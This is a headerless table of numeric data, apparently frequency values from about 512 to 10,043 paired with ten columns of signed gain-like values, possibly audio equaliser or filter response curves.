512.62,0.65,0.97,0.64,0.96,-0.97,-1.16,-0.84,-0.32,-0.33,-0.32
517.75,0.65,0.96,0.65,0.96,-0.96,-1.13,-0.83,-0.32,-0.32,-0.31
522.93,0.66,0.96,0.66,0.96,-0.96,-1.11,-0.82,-0.30,-0.30,-0.30
528.16,0.67,0.97,0.66,0.96,-0.95,-1.09,-0.81,-0.28,-0.29,-0.30
533.44,0.67,0.96,0.67,0.96,-0.94,-1.08,-0.81,-0.28,-0.28,-0.29
538.77,0.67,0.94,0.67,0.94,-0.94,-1.06,-0.80,-0.27,-0.27,-0.27
544.16,0.67,0.93,0.67,0.93,-0.93,-1.04,-0.79,-0.26,-0.26,-0.26
549.60,0.67,0.91,0.67,0.91,-0.91,-1.02,-0.78,-0.25,-0.25,-0.24
555.10,0.67,0.90,0.67,0.90,-0.90,-1.00,-0.77,-0.24,-0.24,-0.23
560.65,0.67,0.89,0.67,0.88,-0.89,-0.98,-0.77,-0.23,-0.23,-0.22
566.25,0.67,0.87,0.67,0.88,-0.88,-0.96,-0.76,-0.22,-0.22,-0.20
571.92,0.67,0.87,0.67,0.87,-0.88,-0.94,-0.75,-0.21,-0.21,-0.20
577.64,0.68,0.87,0.68,0.87,-0.87,-0.92,-0.75,-0.19,-0.19,-0.19
583.41,0.69,0.87,0.68,0.87,-0.86,-0.90,-0.74,-0.18,-0.18,-0.18
589.25,0.69,0.86,0.68,0.86,-0.85,-0.89,-0.74,-0.17,-0.17,-0.17
595.14,0.68,0.84,0.68,0.85,-0.84,-0.87,-0.73,-0.16,-0.16,-0.16
601.09,0.67,0.83,0.67,0.83,-0.82,-0.85,-0.73,-0.16,-0.16,-0.16
607.10,0.65,0.80,0.65,0.80,-0.80,-0.83,-0.72,-0.15,-0.15,-0.15
613.17,0.63,0.77,0.62,0.77,-0.77,-0.81,-0.72,-0.14,-0.14,-0.14
619.30,0.60,0.73,0.60,0.73,-0.73,-0.80,-0.72,-0.13,-0.13,-0.13
625.50,0.57,0.69,0.57,0.69,-0.69,-0.78,-0.72,-0.12,-0.12,-0.12
631.75,0.54,0.65,0.53,0.65,-0.65,-0.76,-0.72,-0.11,-0.11,-0.11
638.07,0.50,0.59,0.50,0.60,-0.60,-0.75,-0.71,-0.10,-0.10,-0.09
644.45,0.47,0.55,0.47,0.55,-0.55,-0.73,-0.72,-0.08,-0.08,-0.08
650.89,0.44,0.50,0.44,0.50,-0.50,-0.71,-0.72,-0.06,-0.06,-0.06
657.40,0.41,0.45,0.41,0.45,-0.45,-0.70,-0.72,-0.04,-0.04,-0.05
663.98,0.38,0.40,0.37,0.40,-0.40,-0.68,-0.72,-0.02,-0.03,-0.03
670.62,0.35,0.35,0.35,0.35,-0.36,-0.67,-0.72,-0.01,-0.01,-0.01
677.32,0.33,0.31,0.33,0.31,-0.32,-0.65,-0.73,0.01,0.01,0.01
684.10,0.32,0.28,0.32,0.28,-0.29,-0.63,-0.73,0.03,0.03,0.03
690.94,0.32,0.25,0.32,0.26,-0.26,-0.62,-0.74,0.05,0.06,0.06
697.85,0.33,0.24,0.33,0.24,-0.24,-0.60,-0.74,0.08,0.08,0.08
704.83,0.34,0.23,0.33,0.23,-0.23,-0.59,-0.75,0.11,0.11,0.10
711.87,0.34,0.22,0.34,0.22,-0.21,-0.58,-0.75,0.12,0.12,0.11
718.99,0.34,0.21,0.34,0.21,-0.21,-0.56,-0.76,0.13,0.13,0.12
726.18,0.34,0.20,0.34,0.20,-0.20,-0.55,-0.77,0.14,0.14,0.13
733.44,0.34,0.20,0.34,0.20,-0.20,-0.53,-0.78,0.14,0.14,0.13
740.78,0.34,0.19,0.34,0.19,-0.20,-0.52,-0.79,0.14,0.14,0.14
748.19,0.34,0.19,0.34,0.20,-0.20,-0.51,-0.80,0.13,0.13,0.14
755.67,0.34,0.21,0.34,0.21,-0.21,-0.50,-0.81,0.13,0.13,0.12
763.23,0.34,0.22,0.34,0.22,-0.22,-0.48,-0.82,0.12,0.12,0.11
770.86,0.34,0.23,0.34,0.24,-0.23,-0.47,-0.83,0.10,0.10,0.10
778.57,0.34,0.25,0.34,0.25,-0.25,-0.46,-0.84,0.09,0.09,0.08
786.35,0.34,0.27,0.34,0.27,-0.27,-0.45,-0.85,0.07,0.07,0.06
794.22,0.34,0.29,0.34,0.29,-0.29,-0.44,-0.86,0.04,0.04,0.04
802.16,0.34,0.32,0.34,0.32,-0.32,-0.43,-0.87,0.02,0.02,0.01
810.18,0.34,0.34,0.34,0.34,-0.34,-0.42,-0.89,-0.01,-0.01,-0.01
818.28,0.34,0.37,0.34,0.37,-0.38,-0.42,-0.90,-0.04,-0.04,-0.04
826.46,0.34,0.40,0.34,0.40,-0.41,-0.41,-0.91,-0.07,-0.07,-0.07
834.73,0.34,0.43,0.34,0.44,-0.45,-0.40,-0.92,-0.11,-0.11,-0.10
843.08,0.35,0.47,0.35,0.47,-0.48,-0.40,-0.93,-0.14,-0.13,-0.13
851.51,0.36,0.52,0.36,0.52,-0.51,-0.39,-0.94,-0.16,-0.16,-0.17
860.02,0.37,0.55,0.36,0.56,-0.55,-0.39,-0.95,-0.18,-0.18,-0.19
868.62,0.37,0.59,0.36,0.59,-0.57,-0.39,-0.95,-0.21,-0.21,-0.23
877.31,0.36,0.60,0.35,0.60,-0.59,-0.39,-0.96,-0.24,-0.24,-0.25
886.08,0.34,0.60,0.34,0.61,-0.61,-0.39,-0.96,-0.27,-0.27,-0.27
894.94,0.32,0.60,0.32,0.61,-0.61,-0.39,-0.97,-0.30,-0.29,-0.29
903.89,0.30,0.62,0.30,0.61,-0.61,-0.40,-0.97,-0.32,-0.32,-0.33
912.93,0.28,0.61,0.27,0.61,-0.61,-0.40,-0.96,-0.33,-0.34,-0.34
922.06,0.24,0.59,0.24,0.60,-0.60,-0.41,-0.96,-0.36,-0.36,-0.36
931.28,0.21,0.59,0.21,0.59,-0.59,-0.42,-0.95,-0.38,-0.38,-0.39
940.59,0.18,0.57,0.17,0.57,-0.58,-0.43,-0.94,-0.40,-0.40,-0.40
950.00,0.15,0.56,0.15,0.56,-0.56,-0.44,-0.93,-0.42,-0.42,-0.42
959.50,0.12,0.54,0.12,0.55,-0.55,-0.46,-0.92,-0.43,-0.43,-0.43
969.09,0.10,0.53,0.09,0.53,-0.53,-0.47,-0.90,-0.44,-0.44,-0.44
978.78,0.07,0.52,0.07,0.52,-0.52,-0.49,-0.88,-0.45,-0.45,-0.46
988.57,0.04,0.51,0.04,0.51,-0.50,-0.50,-0.85,-0.47,-0.47,-0.48
998.46,0.01,0.49,0.00,0.49,-0.49,-0.52,-0.82,-0.49,-0.49,-0.49
1008.44,-0.03,0.46,-0.03,0.47,-0.48,-0.53,-0.79,-0.52,-0.51,-0.50
1018.53,-0.06,0.44,-0.06,0.45,-0.47,-0.53,-0.76,-0.54,-0.53,-0.51
1028.71,-0.07,0.45,-0.08,0.45,-0.46,-0.53,-0.72,-0.53,-0.54,-0.53
1039.00,-0.09,0.45,-0.09,0.45,-0.44,-0.52,-0.68,-0.54,-0.54,-0.55
1049.39,-0.11,0.45,-0.12,0.45,-0.43,-0.50,-0.63,-0.54,-0.54,-0.57
1059.88,-0.15,0.42,-0.16,0.42,-0.40,-0.48,-0.58,-0.56,-0.56,-0.58
1070.48,-0.20,0.38,-0.20,0.39,-0.38,-0.45,-0.53,-0.58,-0.58,-0.59
1081.19,-0.25,0.34,-0.25,0.34,-0.35,-0.41,-0.47,-0.60,-0.60,-0.60
1092.00,-0.30,0.30,-0.30,0.30,-0.31,-0.36,-0.42,-0.61,-0.61,-0.61
1102.92,-0.35,0.25,-0.35,0.26,-0.26,-0.31,-0.35,-0.62,-0.61,-0.61
1113.95,-0.39,0.22,-0.40,0.22,-0.22,-0.25,-0.29,-0.61,-0.62,-0.62
1125.09,-0.44,0.17,-0.45,0.17,-0.17,-0.19,-0.22,-0.62,-0.62,-0.62
1136.34,-0.49,0.11,-0.49,0.12,-0.13,-0.14,-0.15,-0.62,-0.62,-0.61
1147.70,-0.53,0.06,-0.53,0.07,-0.08,-0.08,-0.08,-0.62,-0.61,-0.60
1159.18,-0.56,0.04,-0.57,0.04,-0.03,-0.02,-0.01,-0.60,-0.60,-0.61
1170.77,-0.60,0.00,-0.61,-0.00,0.02,0.04,0.07,-0.59,-0.59,-0.61
1182.48,-0.65,-0.05,-0.65,-0.05,0.06,0.10,0.15,-0.59,-0.59,-0.61
1194.30,-0.71,-0.11,-0.71,-0.10,0.11,0.15,0.23,-0.60,-0.60,-0.61
1206.25,-0.77,-0.16,-0.78,-0.17,0.15,0.21,0.31,-0.62,-0.62,-0.62
1218.31,-0.84,-0.23,-0.84,-0.22,0.20,0.26,0.39,-0.64,-0.64,-0.62
1230.49,-0.89,-0.27,-0.89,-0.26,0.24,0.31,0.48,-0.65,-0.65,-0.63
1242.80,-0.93,-0.28,-0.94,-0.29,0.29,0.37,0.57,-0.65,-0.65,-0.66
1255.22,-0.98,-0.32,-0.99,-0.32,0.33,0.41,0.66,-0.65,-0.66,-0.67
1267.78,-1.04,-0.36,-1.05,-0.36,0.37,0.46,0.75,-0.67,-0.68,-0.69
1280.45,-1.11,-0.41,-1.11,-0.41,0.41,0.51,0.84,-0.71,-0.70,-0.71
1293.26,-1.17,-0.46,-1.17,-0.45,0.44,0.56,0.93,-0.73,-0.73,-0.72
1306.19,-1.23,-0.49,-1.23,-0.49,0.48,0.61,1.03,-0.75,-0.75,-0.75
1319.25,-1.28,-0.53,-1.28,-0.52,0.52,0.65,1.12,-0.76,-0.76,-0.76
1332.45,-1.33,-0.56,-1.34,-0.56,0.56,0.70,1.22,-0.77,-0.77,-0.78
1345.77,-1.38,-0.60,-1.39,-0.60,0.60,0.75,1.32,-0.78,-0.78,-0.79
1359.23,-1.44,-0.64,-1.44,-0.64,0.64,0.79,1.42,-0.80,-0.80,-0.81
1372.82,-1.49,-0.69,-1.50,-0.69,0.68,0.84,1.52,-0.81,-0.82,-0.81
1386.55,-1.55,-0.74,-1.55,-0.73,0.72,0.89,1.62,-0.83,-0.83,-0.82
1400.41,-1.59,-0.76,-1.60,-0.76,0.76,0.94,1.73,-0.83,-0.83,-0.84
1414.42,-1.64,-0.80,-1.64,-0.80,0.80,0.99,1.83,-0.84,-0.84,-0.85
1428.56,-1.69,-0.85,-1.70,-0.84,0.85,1.04,1.94,-0.85,-0.85,-0.85
1442.85,-1.75,-0.90,-1.75,-0.90,0.89,1.09,2.05,-0.86,-0.86,-0.86
1457.28,-1.81,-0.95,-1.81,-0.95,0.94,1.14,2.16,-0.87,-0.87,-0.87
1471.85,-1.87,-1.00,-1.87,-1.00,0.99,1.19,2.27,-0.88,-0.88,-0.88
1486.57,-1.93,-1.05,-1.93,-1.05,1.05,1.25,2.39,-0.88,-0.88,-0.89
1501.43,-1.98,-1.11,-1.99,-1.11,1.11,1.30,2.50,-0.87,-0.87,-0.88
1516.45,-2.04,-1.18,-2.04,-1.17,1.18,1.36,2.62,-0.86,-0.86,-0.87
1531.61,-2.10,-1.25,-2.11,-1.25,1.26,1.41,2.73,-0.85,-0.85,-0.86
1546.93,-2.18,-1.35,-2.18,-1.34,1.34,1.47,2.85,-0.84,-0.84,-0.84
1562.40,-2.25,-1.44,-2.25,-1.43,1.43,1.54,2.97,-0.82,-0.82,-0.82
1578.02,-2.32,-1.53,-2.33,-1.53,1.53,1.60,3.09,-0.80,-0.80,-0.80
1593.80,-2.40,-1.62,-2.40,-1.62,1.63,1.66,3.21,-0.78,-0.77,-0.79
1609.74,-2.48,-1.73,-2.48,-1.73,1.73,1.73,3.33,-0.75,-0.75,-0.76
1625.84,-2.56,-1.84,-2.57,-1.84,1.84,1.80,3.45,-0.72,-0.73,-0.73
1642.10,-2.66,-1.97,-2.66,-1.96,1.96,1.87,3.57,-0.71,-0.70,-0.70
1658.52,-2.74,-2.08,-2.75,-2.08,2.07,1.94,3.69,-0.67,-0.68,-0.67
1675.10,-2.83,-2.19,-2.83,-2.19,2.18,2.02,3.81,-0.65,-0.65,-0.65
1691.85,-2.92,-2.30,-2.92,-2.30,2.30,2.09,3.93,-0.63,-0.63,-0.63
1708.77,-3.01,-2.41,-3.02,-2.41,2.41,2.17,4.05,-0.61,-0.61,-0.61
1725.86,-3.11,-2.52,-3.11,-2.52,2.52,2.26,4.17,-0.60,-0.60,-0.60
1743.12,-3.21,-2.64,-3.21,-2.63,2.62,2.34,4.28,-0.59,-0.58,-0.58
1760.55,-3.30,-2.73,-3.31,-2.73,2.73,2.43,4.39,-0.57,-0.58,-0.58
1778.15,-3.40,-2.84,-3.41,-2.84,2.83,2.52,4.49,-0.57,-0.57,-0.57
1795.94,-3.51,-2.94,-3.51,-2.93,2.94,2.62,4.60,-0.58,-0.57,-0.58
1813.90,-3.61,-3.04,-3.61,-3.04,3.04,2.71,4.69,-0.57,-0.57,-0.58
1832.03,-3.71,-3.14,-3.72,-3.14,3.14,2.81,4.78,-0.57,-0.58,-0.58
1850.36,-3.83,-3.26,-3.83,-3.25,3.25,2.92,4.87,-0.59,-0.58,-0.58
1868.86,-3.94,-3.36,-3.94,-3.35,3.35,3.02,4.95,-0.59,-0.59,-0.59
1887.55,-4.04,-3.46,-4.05,-3.46,3.47,3.13,5.02,-0.58,-0.58,-0.59
1906.42,-4.16,-3.57,-4.16,-3.57,3.58,3.25,5.08,-0.58,-0.58,-0.60
1925.49,-4.27,-3.69,-4.28,-3.69,3.70,3.36,5.14,-0.57,-0.58,-0.59
1944.74,-4.40,-3.83,-4.40,-3.82,3.82,3.48,5.19,-0.58,-0.58,-0.58
1964.19,-4.51,-3.95,-4.51,-3.95,3.94,3.60,5.23,-0.57,-0.57,-0.57
1983.83,-4.62,-4.07,-4.63,-4.07,4.06,3.73,5.26,-0.56,-0.56,-0.56
2003.67,-4.74,-4.21,-4.74,-4.20,4.19,3.86,5.28,-0.56,-0.55,-0.54
2023.71,-4.85,-4.32,-4.85,-4.32,4.31,3.99,5.29,-0.54,-0.54,-0.54
2043.94,-4.96,-4.44,-4.96,-4.44,4.44,4.13,5.29,-0.53,-0.53,-0.53
2064.38,-5.07,-4.56,-5.07,-4.55,4.56,4.26,5.28,-0.51,-0.51,-0.52
2085.03,-5.17,-4.67,-5.18,-4.68,4.69,4.40,5.27,-0.49,-0.49,-0.51
2105.88,-5.29,-4.82,-5.29,-4.81,4.82,4.54,5.24,-0.48,-0.47,-0.48
2126.94,-5.41,-4.95,-5.41,-4.95,4.95,4.68,5.21,-0.46,-0.45,-0.47
2148.20,-5.52,-5.09,-5.53,-5.09,5.09,4.82,5.17,-0.43,-0.43,-0.44
2169.69,-5.64,-5.23,-5.64,-5.23,5.24,4.96,5.12,-0.40,-0.40,-0.42
2191.38,-5.76,-5.38,-5.76,-5.37,5.39,5.10,5.07,-0.37,-0.37,-0.39
2213.30,-5.88,-5.52,-5.89,-5.52,5.54,5.24,5.01,-0.35,-0.35,-0.37
2235.43,-6.00,-5.67,-6.00,-5.66,5.66,5.38,4.95,-0.34,-0.34,-0.34
2257.78,-6.11,-5.80,-6.11,-5.79,5.77,5.51,4.89,-0.34,-0.33,-0.32
2280.36,-6.21,-5.91,-6.22,-5.91,5.86,5.64,4.81,-0.35,-0.35,-0.31
2303.17,-6.32,-6.03,-6.33,-6.04,5.93,5.76,4.74,-0.39,-0.40,-0.30
2326.20,-6.45,-6.17,-6.45,-6.16,5.98,5.88,4.67,-0.47,-0.46,-0.29
2349.46,-6.56,-6.29,-6.57,-6.28,6.01,5.99,4.59,-0.55,-0.56,-0.28
2372.95,-6.68,-6.40,-6.69,-6.40,6.02,6.09,4.51,-0.66,-0.66,-0.29
2396.68,-6.80,-6.50,-6.80,-6.50,6.02,6.18,4.43,-0.78,-0.78,-0.31
2420.65,-6.91,-6.59,-6.91,-6.59,6.02,6.26,4.35,-0.90,-0.90,-0.33
2444.86,-7.01,-6.67,-7.01,-6.67,6.01,6.32,4.27,-1.01,-1.01,-0.35
2469.31,-7.10,-6.74,-7.10,-6.74,6.00,6.38,4.19,-1.10,-1.10,-0.37
2494.00,-7.18,-6.81,-7.18,-6.80,6.00,6.42,4.12,-1.18,-1.18,-0.38
2518.94,-7.25,-6.86,-7.26,-6.86,6.00,6.45,4.04,-1.25,-1.26,-0.40
2544.13,-7.32,-6.91,-7.33,-6.91,6.00,6.47,3.96,-1.32,-1.33,-0.42
2569.57,-7.39,-6.96,-7.39,-6.96,6.00,6.48,3.89,-1.39,-1.39,-0.44
2595.27,-7.44,-7.01,-7.44,-7.00,6.00,6.47,3.82,-1.44,-1.44,-0.44
2621.22,-7.47,-7.04,-7.48,-7.04,6.00,6.45,3.75,-1.47,-1.48,-0.44
2647.43,-7.50,-7.07,-7.50,-7.06,6.00,6.43,3.68,-1.50,-1.50,-0.44
2673.90,-7.50,-7.08,-7.50,-7.07,6.00,6.39,3.62,-1.50,-1.50,-0.43
2700.64,-7.48,-7.07,-7.49,-7.08,6.00,6.34,3.56,-1.48,-1.49,-0.42
2727.65,-7.46,-7.07,-7.47,-7.07,6.00,6.29,3.50,-1.46,-1.47,-0.40
2754.93,-7.43,-7.06,-7.43,-7.05,6.00,6.24,3.44,-1.43,-1.43,-0.38
2782.48,-7.37,-7.02,-7.37,-7.01,6.00,6.18,3.39,-1.37,-1.37,-0.36
2810.30,-7.29,-6.96,-7.30,-6.96,6.00,6.12,3.34,-1.29,-1.30,-0.34
2838.40,-7.21,-6.89,-7.22,-6.89,6.00,6.06,3.29,-1.21,-1.22,-0.33
2866.79,-7.12,-6.81,-7.12,-6.81,6.01,6.01,3.24,-1.12,-1.11,-0.32
2895.46,-7.01,-6.71,-7.01,-6.70,6.02,5.95,3.20,-0.99,-0.99,-0.31
2924.41,-6.88,-6.59,-6.88,-6.59,6.03,5.90,3.16,-0.86,-0.86,-0.30
2953.65,-6.74,-6.45,-6.75,-6.46,6.02,5.86,3.13,-0.72,-0.72,-0.30
2983.19,-6.60,-6.33,-6.60,-6.32,6.01,5.81,3.09,-0.60,-0.60,-0.28
3013.02,-6.45,-6.18,-6.45,-6.18,5.97,5.75,3.06,-0.49,-0.48,-0.28
3043.15,-6.29,-6.04,-6.29,-6.03,5.91,5.70,3.03,-0.38,-0.38,-0.26
3073.58,-6.12,-5.88,-6.13,-5.88,5.83,5.63,3.01,-0.29,-0.30,-0.25
3104.32,-5.97,-5.75,-5.97,-5.74,5.73,5.55,2.98,-0.24,-0.24,-0.23
3135.36,-5.81,-5.60,-5.81,-5.60,5.62,5.47,2.96,-0.20,-0.20,-0.22
3166.72,-5.66,-5.48,-5.67,-5.47,5.49,5.39,2.94,-0.18,-0.18,-0.19
3198.38,-5.51,-5.33,-5.51,-5.33,5.35,5.32,2.92,-0.16,-0.16,-0.19
3230.37,-5.37,-5.22,-5.37,-5.21,5.22,5.25,2.91,-0.15,-0.14,-0.16
3262.67,-5.21,-5.09,-5.22,-5.09,5.10,5.19,2.89,-0.11,-0.12,-0.13
3295.30,-5.07,-5.00,-5.08,-5.00,5.00,5.14,2.88,-0.07,-0.07,-0.08
3328.25,-4.94,-4.93,-4.94,-4.92,4.93,5.11,2.87,-0.01,-0.01,-0.02
3361.53,-4.81,-4.87,-4.82,-4.87,4.87,5.09,2.86,0.06,0.06,0.05
3395.15,-4.70,-4.83,-4.70,-4.83,4.84,5.08,2.85,0.14,0.14,0.12
3429.10,-4.60,-4.82,-4.60,-4.82,4.83,5.08,2.84,0.23,0.23,0.21
3463.39,-4.51,-4.83,-4.52,-4.83,4.85,5.09,2.83,0.33,0.33,0.31
3498.03,-4.44,-4.88,-4.44,-4.88,4.88,5.11,2.82,0.44,0.44,0.43
3533.01,-4.37,-4.94,-4.37,-4.93,4.93,5.14,2.82,0.56,0.56,0.56
3568.34,-4.30,-5.00,-4.31,-5.00,5.00,5.17,2.81,0.70,0.69,0.69
3604.02,-4.24,-5.06,-4.25,-5.07,5.08,5.22,2.80,0.83,0.83,0.81
3640.06,-4.20,-5.16,-4.20,-5.15,5.16,5.26,2.79,0.95,0.96,0.95
3676.46,-4.14,-5.24,-4.14,-5.23,5.23,5.31,2.78,1.09,1.09,1.09
3713.22,-4.08,-5.31,-4.09,-5.32,5.30,5.36,2.76,1.22,1.21,1.22
3750.36,-4.02,-5.39,-4.02,-5.38,5.36,5.41,2.75,1.34,1.34,1.36
3787.86,-3.94,-5.43,-3.94,-5.42,5.41,5.45,2.73,1.46,1.47,1.48
3825.74,-3.83,-5.44,-3.84,-5.44,5.44,5.48,2.71,1.60,1.59,1.60
3864.00,-3.73,-5.45,-3.73,-5.44,5.44,5.50,2.69,1.71,1.71,1.71
3902.64,-3.60,-5.43,-3.60,-5.43,5.43,5.50,2.66,1.82,1.82,1.82
3941.66,-3.46,-5.40,-3.46,-5.40,5.39,5.47,2.63,1.93,1.93,1.93
3981.08,-3.30,-5.34,-3.30,-5.33,5.33,5.42,2.60,2.03,2.03,2.03
4020.89,-3.13,-5.26,-3.13,-5.25,5.26,5.34,2.57,2.13,2.13,2.12
4061.10,-2.94,-5.15,-2.95,-5.15,5.17,5.22,2.53,2.22,2.22,2.20
4101.71,-2.75,-5.04,-2.75,-5.04,5.06,5.07,2.49,2.30,2.30,2.28
4142.73,-2.54,-4.92,-2.54,-4.91,4.92,4.89,2.44,2.38,2.38,2.37
4184.15,-2.30,-4.76,-2.31,-4.76,4.77,4.67,2.39,2.46,2.46,2.45
4226.00,-2.04,-4.59,-2.05,-4.59,4.59,4.42,2.34,2.54,2.54,2.54
4268.26,-1.76,-4.40,-1.76,-4.39,4.38,4.13,2.29,2.61,2.61,2.63
4310.94,-1.45,-4.15,-1.45,-4.15,4.14,3.81,2.23,2.68,2.69,2.69
4354.05,-1.09,-3.86,-1.10,-3.87,3.86,3.47,2.17,2.77,2.77,2.76
4397.59,-0.70,-3.55,-0.71,-3.55,3.55,3.11,2.11,2.84,2.84,2.84
4441.56,-0.28,-3.20,-0.28,-3.19,3.19,2.72,2.05,2.91,2.91,2.91
4485.98,0.18,-2.80,0.18,-2.80,2.79,2.31,1.98,2.96,2.96,2.97
4530.84,0.68,-2.36,0.68,-2.35,2.34,1.89,1.91,3.02,3.02,3.03
4576.15,1.21,-1.87,1.21,-1.87,1.85,1.45,1.84,3.05,3.06,3.07
4621.91,1.78,-1.33,1.77,-1.33,1.31,1.00,1.77,3.09,3.08,3.10
4668.13,2.35,-0.76,2.36,-0.75,0.74,0.53,1.70,3.08,3.09,3.10
4714.81,2.97,-0.13,2.96,-0.13,0.12,0.04,1.63,3.09,3.08,3.09
4761.96,3.59,0.51,3.58,0.52,-0.53,-0.46,1.55,3.06,3.06,3.07
4809.58,4.21,1.19,4.21,1.19,-1.20,-0.98,1.48,3.01,3.01,3.01
4857.67,4.83,1.89,4.82,1.89,-1.89,-1.52,1.40,2.94,2.94,2.93
4906.25,5.42,2.58,5.42,2.59,-2.58,-2.08,1.33,2.83,2.84,2.83
4955.31,6.00,3.30,5.99,3.29,-3.28,-2.66,1.25,2.72,2.71,2.69
5004.87,6.53,3.98,6.53,3.98,-3.97,-3.28,1.18,2.55,2.56,2.54
5054.91,7.04,4.65,7.04,4.65,-4.65,-3.92,1.10,2.39,2.38,2.38
5105.46,7.51,5.30,7.51,5.30,-5.31,-4.59,1.02,2.19,2.19,2.20
5156.52,7.95,5.93,7.94,5.93,-5.95,-5.29,0.95,2.00,2.00,2.01
5208.08,8.35,6.54,8.35,6.54,-6.55,-6.01,0.87,1.79,1.79,1.80
5260.16,8.71,7.11,8.71,7.11,-7.12,-6.75,0.80,1.59,1.59,1.59
5312.77,9.04,7.65,9.03,7.65,-7.64,-7.50,0.72,1.39,1.39,1.38
5365.89,9.31,8.12,9.31,8.12,-8.11,-8.23,0.65,1.19,1.20,1.18
5419.55,9.55,8.55,9.54,8.54,-8.52,-8.92,0.57,1.02,1.02,0.99
5473.75,9.73,8.88,9.72,8.88,-8.86,-9.50,0.50,0.86,0.85,0.84
5528.49,9.86,9.15,9.85,9.15,-9.13,-9.93,0.42,0.73,0.72,0.70
5583.77,9.95,9.35,9.94,9.33,-9.31,-10.16,0.35,0.63,0.62,0.59
5639.61,10.00,9.45,9.98,9.43,-9.42,-10.18,0.27,0.58,0.57,0.54
5696.00,10.01,9.47,9.99,9.45,-9.43,-9.98,0.20,0.57,0.56,0.53
5752.96,9.98,9.41,9.96,9.38,-9.36,-9.61,0.12,0.61,0.59,0.56
5810.49,9.91,9.27,9.88,9.22,-9.21,-9.12,0.05,0.69,0.67,0.63
5868.60,9.80,9.04,9.77,8.99,-8.98,-8.57,-0.03,0.82,0.79,0.75
5927.28,9.65,8.74,9.61,8.68,-8.67,-7.99,-0.10,0.98,0.94,0.90
5986.56,9.47,8.38,9.42,8.30,-8.29,-7.41,-0.18,1.18,1.13,1.08
6046.42,9.24,7.95,9.19,7.85,-7.84,-6.86,-0.26,1.40,1.35,1.28
6106.89,8.97,7.46,8.92,7.35,-7.33,-6.33,-0.33,1.64,1.59,1.50
6167.96,8.67,6.92,8.61,6.79,-6.76,-5.83,-0.41,1.90,1.85,1.74
6229.64,8.33,6.33,8.28,6.19,-6.16,-5.37,-0.48,2.16,2.12,1.99
6291.93,7.96,5.69,7.94,5.56,-5.54,-4.94,-0.56,2.42,2.40,2.26
6354.85,7.59,5.04,7.59,4.91,-4.90,-4.55,-0.64,2.69,2.69,2.54
6418.40,7.20,4.37,7.26,4.28,-4.28,-4.19,-0.72,2.92,2.98,2.82
6482.58,6.82,3.69,6.96,3.67,-3.69,-3.86,-0.79,3.13,3.27,3.12
6547.41,6.46,3.04,6.70,3.11,-3.15,-3.56,-0.87,3.30,3.55,3.41
6612.88,6.13,2.42,6.51,2.63,-2.69,-3.28,-0.95,3.43,3.82,3.70
6679.01,5.84,1.84,6.40,2.24,-2.32,-3.02,-1.03,3.52,4.09,3.99
6745.80,5.61,1.32,6.38,1.95,-2.04,-2.78,-1.10,3.57,4.35,4.28
6813.26,5.45,0.88,6.45,1.78,-1.85,-2.57,-1.18,3.60,4.60,4.56
6881.39,5.37,0.53,6.58,1.70,-1.75,-2.36,-1.26,3.62,4.83,4.83
6950.21,5.36,0.24,6.77,1.70,-1.72,-2.18,-1.33,3.63,5.04,5.11
7019.71,5.42,0.03,6.97,1.76,-1.75,-2.01,-1.40,3.66,5.22,5.38
7089.91,5.55,-0.09,7.18,1.84,-1.81,-1.85,-1.48,3.73,5.37,5.63
7160.81,5.73,-0.14,7.37,1.93,-1.89,-1.70,-1.55,3.84,5.48,5.86
7232.41,5.96,-0.10,7.52,2.01,-1.96,-1.56,-1.62,4.00,5.57,6.05
7304.74,6.23,0.02,7.64,2.06,-2.01,-1.43,-1.68,4.22,5.63,6.20
7377.79,6.49,0.16,7.70,2.07,-2.03,-1.30,-1.74,4.46,5.68,6.32
7451.56,6.75,0.34,7.73,2.04,-2.01,-1.19,-1.80,4.73,5.72,6.40
7526.08,6.99,0.56,7.72,1.97,-1.96,-1.07,-1.86,5.03,5.77,6.42
7601.34,7.21,0.79,7.69,1.88,-1.87,-0.97,-1.91,5.33,5.82,6.41
7677.35,7.41,1.05,7.63,1.76,-1.76,-0.87,-1.96,5.65,5.88,6.35
7754.13,7.58,1.32,7.56,1.61,-1.61,-0.77,-2.00,5.96,5.95,6.25
7831.67,7.70,1.57,7.47,1.45,-1.45,-0.67,-2.03,6.25,6.02,6.12
7909.98,7.78,1.79,7.37,1.27,-1.27,-0.57,-2.06,6.51,6.10,5.98
7989.08,7.82,1.97,7.26,1.08,-1.08,-0.48,-2.09,6.74,6.18,5.84
8068.98,7.83,2.12,7.14,0.88,-0.88,-0.39,-2.11,6.94,6.26,5.70
8149.67,7.80,2.19,7.02,0.68,-0.68,-0.29,-2.12,7.12,6.34,5.60
8231.16,7.74,2.19,6.90,0.47,-0.47,-0.20,-2.13,7.26,6.42,5.54
8313.47,7.64,2.08,6.76,0.27,-0.27,-0.10,-2.13,7.37,6.49,5.55
8396.61,7.53,1.88,6.63,0.06,-0.07,-0.00,-2.13,7.46,6.56,5.64
8480.57,7.39,1.57,6.49,-0.14,0.13,0.10,-2.12,7.52,6.63,5.81
8565.38,7.23,1.18,6.35,-0.33,0.33,0.21,-2.11,7.55,6.68,6.04
8651.03,7.05,0.70,6.21,-0.52,0.52,0.32,-2.09,7.56,6.73,6.34
8737.54,6.87,0.16,6.07,-0.70,0.70,0.44,-2.07,7.56,6.76,6.70
8824.92,6.69,-0.43,5.92,-0.87,0.87,0.56,-2.04,7.56,6.79,7.11
8913.17,6.50,-1.05,5.77,-1.04,1.04,0.69,-2.02,7.54,6.81,7.54
9002.30,6.31,-1.69,5.63,-1.20,1.20,0.82,-1.99,7.50,6.82,7.99
9092.32,6.13,-2.26,5.48,-1.34,1.35,0.97,-1.95,7.47,6.83,8.38
9183.25,5.96,-2.77,5.34,-1.48,1.49,1.12,-1.92,7.44,6.82,8.72
9275.08,5.83,-3.17,5.19,-1.62,1.62,1.28,-1.89,7.44,6.81,8.99
9367.83,5.71,-3.49,5.05,-1.74,1.74,1.44,-1.85,7.44,6.79,9.19
9461.51,5.60,-3.71,4.92,-1.85,1.85,1.60,-1.82,7.44,6.76,9.30
9556.12,5.50,-3.81,4.78,-1.94,1.95,1.77,-1.78,7.44,6.73,9.30
9651.68,5.43,-3.77,4.65,-2.03,2.03,1.93,-1.75,7.46,6.69,9.19
9748.20,5.37,-3.66,4.53,-2.10,2.10,2.08,-1.72,7.47,6.63,9.02
9845.68,5.33,-3.44,4.41,-2.16,2.16,2.22,-1.69,7.48,6.57,8.76
9944.14,5.28,-3.20,4.30,-2.21,2.20,2.33,-1.66,7.47,6.49,8.47
10043.58,5.22,-2.92,4.19,-2.25,2.22,2.42,-1.63,7.44,6.41,8.13
